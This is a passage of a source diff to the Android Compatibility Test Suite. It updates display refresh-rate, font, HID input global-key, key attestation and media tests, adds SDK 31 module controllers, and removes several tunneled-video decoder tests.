MatchContentFrameRateTest { mDisplayManager = activity.getSystemService(DisplayManager.class); mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true); - mInitialMatchContentFrameRate = toSwitchingType( - mDisplayManager.getMatchContentFrameRateUserPreference()); + mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager); } @After public void tearDown() { if (mDisplayManager != null) { - mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate); + mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType); mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false); } } @@ -109,18 +108,4 @@ public class MatchContentFrameRateTest { FrameRateCtsActivity activity = mActivityRule.getActivity(); activity.testMatchContentFramerate_Always(); } - - private int toSwitchingType(int matchContentFrameRateUserPreference) { - switch (matchContentFrameRateUserPreference) { - case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER: - return DisplayManager.SWITCHING_TYPE_NONE; - case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY: - return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS; - case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS: - return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS; - default: - return -1; - } - } - } diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java index dd9576f1ad3..0e2711dbd7c 100644 --- a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java +++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java @@ -34,6 +34,7 @@ import androidx.test.filters.SmallTest; import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; @@ -117,6 +118,7 @@ public class FontManagerTest { } } + @Ignore("TODO(b/199671094)") @Test public void fontManager_getFontConfig_checkAlias() { FontConfig config = getFontConfig(); diff --git a/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java new file mode 100644 index 00000000000..297031a811c --- /dev/null +++ b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java @@ -0,0 +1,115 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.hardware.input.cts; + +import android.content.Context; +import android.content.res.Resources; +import android.content.res.XmlResourceParser; +import android.util.Log; +import android.view.InputEvent; +import android.view.KeyEvent; + +import org.xmlpull.v1.XmlPullParser; +import org.xmlpull.v1.XmlPullParserException; + +import java.io.IOException; +import java.util.HashSet; +import java.util.Set; + +/** + * Loads the global keys from {@code com.android.internal.R.xml.global_keys} the same way like + * {@code com.android.server.policy.GlobalKeyManager} does. + * TODO(199182608): Make GlobalKeyManager#shouldHandleGlobalKey() a testApi and remove this class + */ +public class GlobalKeyMapping { + private static final String TAG = GlobalKeyMapping.class.getSimpleName(); + private static final String TAG_GLOBAL_KEYS = "global_keys"; + private static final String TAG_KEY = "key"; + private static final String ATTR_VERSION = "version"; + private static final String ATTR_KEY_CODE = "keyCode"; + private static final int GLOBAL_KEY_FILE_VERSION = 1; + private static final Set<Integer> GLOBAL_KEYS = new HashSet<>(); + + + public GlobalKeyMapping(Context context) { + loadGlobalKeys(context); + } + + private void loadGlobalKeys(Context context) { + try (XmlResourceParser parser = context.getResources().getXml( + Resources.getSystem().getIdentifier("global_keys", "xml", "android"))) { + beginDocument(parser, TAG_GLOBAL_KEYS); + int version = parser.getAttributeIntValue(null, ATTR_VERSION, 0); + if (GLOBAL_KEY_FILE_VERSION == version) { + while (true) { + nextElement(parser); + String element = parser.getName(); + if (element == null) { + break; + } + if (TAG_KEY.equals(element)) { + String keyCodeName = parser.getAttributeValue(null, ATTR_KEY_CODE); + int keyCode = KeyEvent.keyCodeFromString(keyCodeName); + if (keyCode != KeyEvent.KEYCODE_UNKNOWN) { + GLOBAL_KEYS.add(keyCode); + } + } + } + } + } catch (Resources.NotFoundException e) { + Log.w(TAG, "global keys file not found", e); + } catch (XmlPullParserException e) { + Log.w(TAG, "XML parser exception reading global keys file", e); + } catch (IOException e) { + Log.w(TAG, "I/O exception reading global keys file", e); + } + } + + public boolean isGlobalKey(InputEvent e) { + if (GLOBAL_KEYS.isEmpty() || !(e instanceof KeyEvent)) { + return false; + } + KeyEvent keyEvent = (KeyEvent) e; + return GLOBAL_KEYS.contains(keyEvent.getKeyCode()); + } + + /** Ported from com.android.internal.util.XmlUtils */ + private void nextElement(XmlPullParser parser) throws XmlPullParserException, IOException { + int type; + while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) { + // skip + } + } + + /** Ported from com.android.internal.util.XmlUtils */ + private void beginDocument(XmlPullParser parser, String firstElementName) + throws XmlPullParserException, IOException { + int type; + while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) { + // skip + } + + if (type != parser.START_TAG) { + throw new XmlPullParserException("No start tag found"); + } + + if (!parser.getName().equals(firstElementName)) { + throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() + + ", expected " + firstElementName); + } + } +} diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java index d40d545cf55..07a080abfc0 100644 --- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java +++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java @@ -31,6 +31,7 @@ import static org.mockito.Mockito.verify; import android.hardware.BatteryState; import android.hardware.input.InputManager; +import android.hardware.input.cts.GlobalKeyMapping; import android.hardware.lights.Light; import android.hardware.lights.LightState; import android.hardware.lights.LightsManager; @@ -72,6 +73,8 @@ public class InputHidTestCase extends InputTestCase { private static final long CALLBACK_TIMEOUT_MILLIS = 5000; private HidDevice mHidDevice; + private final GlobalKeyMapping mGlobalKeyMapping = new GlobalKeyMapping( + mInstrumentation.getTargetContext()); private int mDeviceId; private final int mRegisterResourceId; private boolean mDelayAfterSetup = false; @@ -214,17 +217,19 @@ public class InputHidTestCase extends InputTestCase { @Override protected void testInputDeviceEvents(int resourceId) { List<HidTestData> tests = mParser.getHidTestData(resourceId); + // Global keys are handled by the framework and do not reach apps. + // The set of global keys is vendor-specific. + // Remove tests which contain global keys because we can't test them + tests.removeIf(testData -> testData.events.removeIf(mGlobalKeyMapping::isGlobalKey)); for (HidTestData testData: tests) { mCurrentTestCase = testData.name; - // Send all of the HID reports for (int i = 0; i < testData.reports.size(); i++) { final String report = testData.reports.get(i); mHidDevice.sendHidReport(report); } verifyEvents(testData.events); - } } diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java index df24d52c6c8..ce9746b7a41 100644 --- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java +++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java @@ -54,11 +54,11 @@ public abstract class InputTestCase { private static final float TOLERANCE = 0.005f; private final BlockingQueue<InputEvent> mEvents; + protected final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation(); private InputListener mInputListener; private View mDecorView; - protected Instrumentation mInstrumentation; protected InputJsonParser mParser; // Stores the name of the currently running test protected String mCurrentTestCase; @@ -81,7 +81,6 @@ public abstract class InputTestCase { @Before public void setUp() throws Exception { - mInstrumentation = InstrumentationRegistry.getInstrumentation(); mActivityRule.getActivity().clearUnhandleKeyCode(); mDecorView = mActivityRule.getActivity().getWindow().getDecorView(); mParser = new InputJsonParser(mInstrumentation.getTargetContext()); diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java index 51ae06565f3..5a3b712c12e 100644 --- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java +++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java @@ -220,7 +220,10 @@ public class KeyAttestationTest extends AndroidTestCase { fail("Attestation challenges larger than 128 bytes should be rejected"); } catch (ProviderException e) { KeyStoreException cause = (KeyStoreException) e.getCause(); - assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode()); + assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() || + (devicePropertiesAttestation + && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode()) + ); } } } @@ -495,7 +498,10 @@ public class KeyAttestationTest extends AndroidTestCase { fail("Attestation challenges larger than 128 bytes should be rejected"); } catch(ProviderException e){ KeyStoreException cause = (KeyStoreException) e.getCause(); - assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode()); + assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() || + (devicePropertiesAttestation + && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode()) + ); } } } diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml index 08f47fdd769..79aa4b2940a 100644 --- a/tests/tests/libcoreapievolution/AndroidTest.xml +++ b/tests/tests/libcoreapievolution/AndroidTest.xml @@ -42,4 +42,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml index c90b7027970..22209734c65 100644 --- a/tests/tests/libcorefileio/AndroidTest.xml +++ b/tests/tests/libcorefileio/AndroidTest.xml @@ -40,4 +40,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml index 94c1134d536..670a3af8d87 100644 --- a/tests/tests/libcorelegacy22/AndroidTest.xml +++ b/tests/tests/libcorelegacy22/AndroidTest.xml @@ -42,4 +42,7 @@ <!-- ART Mainline Module (external (AOSP) version). --> <option name="mainline-module-package-name" value="com.android.art" /> </object> + + <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. --> + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" /> </configuration> diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS index 4f5a2efce98..6775f87ece8 100644 --- a/tests/tests/media/OWNERS +++ b/tests/tests/media/OWNERS @@ -1,9 +1,7 @@ # Bug component: 1344 include ../../media/OWNERS -andrewlewis@google.com elaurent@google.com etalvala@google.com -gkasten@google.com hdmoon@google.com hunga@google.com insun@google.com @@ -13,6 +11,5 @@ jmtrivi@google.com jsharkey@android.com sungsoo@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java index f5cad49245c..7667922abd1 100644 --- a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java +++ b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java @@ -19,9 +19,9 @@ package android.media.cts; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import static org.junit.Assume.assumeTrue; import static org.testng.Assert.assertThrows; -import android.content.Context; import android.content.pm.PackageManager; import android.media.AudioFormat; import android.media.AudioRecord; @@ -34,13 +34,13 @@ import androidx.test.runner.AndroidJUnit4; import com.android.compatibility.common.util.SystemUtil; -import java.io.IOException; - import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.io.IOException; + @NonMediaMainlineTest @@ -52,9 +52,7 @@ public class AudioRecordSharedAudioTest { @Before public void setUp() throws Exception { - if (!hasMicrophone()) { - return; - } + assumeTrue(hasMicrophone()); InstrumentationRegistry.getInstrumentation().getUiAutomation() .adoptShellPermissionIdentity(); clearAudioserverPermissionCache(); diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java index ead79742e34..f01c4441de8 100644 --- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java +++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java @@ -581,27 +581,6 @@ public class AudioTrackSurroundTest extends CtsAndroidTestCase { } } - public void testIEC61937_Errors() throws Exception { - if (mInfoIEC61937 != null) { - final String TEST_NAME = "testIEC61937_Errors"; - try { - AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937, - AudioFormat.CHANNEL_OUT_MONO); - assertTrue(TEST_NAME + ": IEC61937 track creation should fail for mono", false); - } catch (IllegalArgumentException e) { - // This is expected behavior. - } - - try { - AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937, - AudioFormat.CHANNEL_OUT_5POINT1); - assertTrue(TEST_NAME + ": IEC61937 track creation should fail for 5.1", false); - } catch (IllegalArgumentException e) { - // This is expected behavior. - } - } - } - public void testPcmSupport() throws Exception { if (REQUIRE_PCM_DEVICE) { // There should always be a fake PCM device available. diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java index 248ba82893d..c745207b167 100755 --- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java +++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java @@ -3244,9 +3244,9 @@ public class AudioTrackTest { }; final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel. final int TEST_CONF_ARRAY[] = { - (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1, MAX_CHANNEL_BIT, // likely silent - no physical device on top channel. MAX_CHANNEL_BIT | 1, // first channel will likely have physical device. + (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1, }; final int TEST_WRITE_MODE_ARRAY[] = { AudioTrack.WRITE_BLOCKING, @@ -3258,10 +3258,12 @@ public class AudioTrackTest { double frequency = 200; // frequency changes for each test for (int TEST_FORMAT : TEST_FORMAT_ARRAY) { - for (int TEST_CONF : TEST_CONF_ARRAY) { - for (int TEST_SR : TEST_SR_ARRAY) { - for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) { - for (int useDirect = 0; useDirect < 2; ++useDirect) { + for (int TEST_SR : TEST_SR_ARRAY) { + for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) { + for (int useDirect = 0; useDirect < 2; ++useDirect) { + for (int TEST_CONF : TEST_CONF_ARRAY) { + // put TEST_CONF in the inner loop to avoid + // back-to-back creation of large tracks. playOnceStreamByteBuffer( TEST_NAME, frequency, TEST_SWEEP, TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT, diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java index 8e86624764f..1b815656da2 100644 --- a/tests/tests/media/src/android/media/cts/DecoderTest.java +++ b/tests/tests/media/src/android/media/cts/DecoderTest.java @@ -3733,312 +3733,6 @@ public class DecoderTest extends MediaPlayerTestBase { } /** - * Test tunneled video peek is on by default if supported - * - * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content - */ - private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) { - return; - } - - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, - CodecCapabilities.FEATURE_TunneledPlayback), - "No tunneled video playback codec found for MIME " + mimeType)){ - return; - } - - // Setup tunnel mode test media player - AudioManager am = mContext.getSystemService(AudioManager.class); - mMediaCodecPlayer = new MediaCodecTunneledPlayer( - mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId()); - - Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); - mMediaCodecPlayer.setAudioDataSource(mediaUri, null); - mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); - assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - mMediaCodecPlayer.start(); - - // Assert that onFirstTunnelFrameReady is called - mMediaCodecPlayer.queueOneVideoFrame(); - final int waitTimeMs = 150; - Thread.sleep(waitTimeMs); - assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds", - waitTimeMs), - mMediaCodecPlayer.isFirstTunnelFrameReady()); - // Assert that video peek is enabled and working - assertTrue(String.format("First frame not rendered within %d milliseconds", waitTimeMs), - mMediaCodecPlayer.getCurrentPosition() != 0); - - // mMediaCodecPlayer.reset() handled in TearDown(); - } - - /** - * Test default tunneled video peek with HEVC if supported - */ - public void testTunneledVideoPeekDefaultHevc() throws Exception { - testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test default tunneled video peek with AVC if supported - */ - public void testTunneledVideoPeekDefaultAvc() throws Exception { - testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test default tunneled video peek with VP9 if supported - */ - public void testTunneledVideoPeekDefaultVp9() throws Exception { - testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - - /** - * Test tunneled video peek can be turned off then on. - * - * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content - */ - private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) { - return; - } - - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, - CodecCapabilities.FEATURE_TunneledPlayback), - "No tunneled video playback codec found for MIME " + mimeType)){ - return; - } - - // Setup tunnel mode test media player - AudioManager am = mContext.getSystemService(AudioManager.class); - mMediaCodecPlayer = new MediaCodecTunneledPlayer( - mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId()); - - Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); - mMediaCodecPlayer.setAudioDataSource(mediaUri, null); - mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); - assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - mMediaCodecPlayer.start(); - mMediaCodecPlayer.setVideoPeek(false); // Disable video peek - - // Assert that onFirstTunnelFrameReady is called - mMediaCodecPlayer.queueOneVideoFrame(); - final int waitTimeMsStep1 = 150; - Thread.sleep(waitTimeMsStep1); - assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds", - waitTimeMsStep1), - mMediaCodecPlayer.isFirstTunnelFrameReady()); - // Assert that video peek is disabled - assertEquals("First frame rendered while peek disabled", - mMediaCodecPlayer.getCurrentPosition(), 0); - mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek - final int waitTimeMsStep2 = 150; - Thread.sleep(waitTimeMsStep2); - // Assert that video peek is enabled - assertTrue(String.format( - "First frame not rendered within %d milliseconds while peek enabled", - waitTimeMsStep2), - mMediaCodecPlayer.getCurrentPosition() != 0); - - // mMediaCodecPlayer.reset() handled in TearDown(); - } - - /** - * Test tunneled video peek can be turned off then on with HEVC if supported - */ - public void testTunneledVideoPeekOffHevc() throws Exception { - testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test tunneled video peek can be turned off then on with AVC if supported - */ - public void testTunneledVideoPeekOffAvc() throws Exception { - testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test tunneled video peek can be turned off then on with VP9 if supported - */ - public void testTunneledVideoPeekOffVp9() throws Exception { - testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - /** - * Test accurate video rendering after a video MediaCodec flush. - * - * On some devices, queuing content when the player is paused, then triggering a flush, then - * queuing more content does not behave as expected. The queued content gets lost and the flush - * is really only applied once playback has resumed. - * - * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content - */ - private void testTunneledAccurateVideoFlush(String mimeType, String videoName) - throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) { - return; - } - - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, - CodecCapabilities.FEATURE_TunneledPlayback), - "No tunneled video playback codec found for MIME " + mimeType)){ - return; - } - - // Setup tunnel mode test media player - AudioManager am = mContext.getSystemService(AudioManager.class); - mMediaCodecPlayer = new MediaCodecTunneledPlayer( - mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId()); - - Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); - mMediaCodecPlayer.setAudioDataSource(mediaUri, null); - mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); - assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - - // start video playback - mMediaCodecPlayer.startThread(); - Thread.sleep(100); - assertTrue("Video playback stalled", mMediaCodecPlayer.getCurrentPosition() != 0); - mMediaCodecPlayer.pause(); - Thread.sleep(50); - assertTrue("Video is ahead of audio", mMediaCodecPlayer.getCurrentPosition() <= - mMediaCodecPlayer.getAudioTrackPositionUs()); - mMediaCodecPlayer.videoFlush(); - Thread.sleep(50); - assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getCurrentPosition(), 0); - // We queue one frame, but expect it not to be rendered - Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame(); - assertNotNull("Failed to queue a video frame", queuedVideoTimestamp); - Thread.sleep(50); // longer wait to account for buffer manipulation - assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getCurrentPosition(), 0); - mMediaCodecPlayer.resume(); - Thread.sleep(100); - ArrayList<Long> renderedVideoTimestamps = - mMediaCodecPlayer.getRenderedVideoFrameTimestampList(); - assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty()); - assertEquals("First rendered video frame does not match first queued video frame", - renderedVideoTimestamps.get(0), queuedVideoTimestamp); - // mMediaCodecPlayer.reset() handled in TearDown(); - } - - /** - * Test accurate video rendering after a video MediaCodec flush with HEVC if supported - */ - public void testTunneledAccurateVideoFlushHevc() throws Exception { - testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test accurate video rendering after a video MediaCodec flush with AVC if supported - */ - public void testTunneledAccurateVideoFlushAvc() throws Exception { - testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test accurate video rendering after a video MediaCodec flush with VP9 if supported - */ - public void testTunneledAccurateVideoFlushVp9() throws Exception { - testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - /** - * Test tunneled audioTimestamp progress with HEVC if supported - */ - public void testTunneledAudioTimestampProgressHevc() throws Exception { - testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test tunneled audioTimestamp progress with AVC if supported - */ - public void testTunneledAudioTimestampProgressAvc() throws Exception { - testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test tunneled audioTimestamp progress with VP9 if supported - */ - public void testTunneledAudioTimestampProgressVp9() throws Exception { - testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - /** - * Test that AudioTrack timestamps don't advance after pause. - */ - private void - testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception - { - if (!isVideoFeatureSupported(mimeType, - CodecCapabilities.FEATURE_TunneledPlayback)) { - MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType); - return; - } - - AudioManager am = mContext.getSystemService(AudioManager.class); - mMediaCodecPlayer = new MediaCodecTunneledPlayer( - mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId()); - - Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); - mMediaCodecPlayer.setAudioDataSource(mediaUri, null); - mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); - assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - - // starts video playback - mMediaCodecPlayer.startThread(); - - sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > 0, Duration.ofSeconds(1)); - final int firstPosition = mMediaCodecPlayer.getCurrentPosition(); - assertTrue( - "On frame rendered not called after playback start!", - firstPosition > 0); - AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp(); - assertTrue("Timestamp is null!", firstTimestamp != null); - - // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness - // and still test basic functionality. - final int sleepTimeMs = 180; - Thread.sleep(sleepTimeMs); - mMediaCodecPlayer.pause(); - // pause might take some time to ramp volume down. - Thread.sleep(sleepTimeMs); - AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp(); - // Verify the video has advanced beyond the first position. - assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition); - // Verify that the timestamp has advanced beyond the first timestamp. - assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime); - - Thread.sleep(sleepTimeMs); - // Verify that the timestamp does not advance after pause. - assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime); - } - - private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception { - final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis(); - do { - Thread.sleep(50); - } while (!supplier.get() && System.currentTimeMillis() < deadLineMs); - } - - /** * Returns list of CodecCapabilities advertising support for the given MIME type. */ private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) { diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java index 8cbe25538d6..a03d429c90a 100644 --- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java +++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java @@ -16,17 +16,21 @@ package android.media.cts; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; import static junit.framework.Assert.assertEquals; import static org.junit.Assert.fail; import static org.junit.Assert.assertTrue; import static org.testng.Assert.assertFalse; +import android.Manifest; import android.app.Activity; import android.app.Instrumentation; import android.content.Context; import android.content.Intent; +import android.content.pm.PackageManager; import android.content.res.Resources; +import android.hardware.hdmi.HdmiControlManager; import android.media.AudioAttributes; import android.media.AudioManager; import android.media.session.MediaSession; @@ -84,17 +88,27 @@ public class MediaActivityTest { private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>(); private MediaSession mSession; + private HdmiControlManager mHdmiControlManager; + private int mHdmiEnableStatus; + @Rule public ActivityTestRule<MediaSessionTestActivity> mActivityRule = new ActivityTestRule<>(MediaSessionTestActivity.class, false, false); @Before public void setUp() throws Exception { + getInstrumentation().getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.HDMI_CEC); mInstrumentation = InstrumentationRegistry.getInstrumentation(); mContext = mInstrumentation.getContext(); mUseFixedVolume = mContext.getResources().getBoolean( Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android")); mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); + mHdmiControlManager = mContext.getSystemService(HdmiControlManager.class); + if (mHdmiControlManager != null) { + mHdmiEnableStatus = mHdmiControlManager.getHdmiCecEnabled(); + mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED); + } 